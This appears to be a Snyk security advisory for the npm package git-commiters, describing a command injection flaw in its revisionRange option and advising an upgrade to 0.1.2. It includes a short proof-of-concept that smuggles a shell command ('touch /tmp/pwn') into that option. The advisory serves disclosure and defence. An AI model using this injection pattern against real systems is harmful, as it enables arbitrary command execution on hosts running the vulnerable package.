Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade git-commiters
to version 0.1.2 or higher.
git-commiters is a Statistical summary of various infomation about git commiter.
Affected versions of this package are vulnerable to Command Injection via the gitCommiters()
API which allows specifying options such as cwd
for current working directory and revisionRange
as a revision pointer, such as HEAD
without proper sanitization. An attacker can execute arbitrary system commands by supplying crafted input to the revisionRange
option.
git-commiters@0.1.1
or earliervar gitCommiters = require("git-commiters");
var options = { cwd: "./", revisionRange: "HEAD; touch /tmp/pwn; #", }; gitCommiters(options, function (err, result) { if (err) console.log(err); else console.log(result); });
/tmp/pwn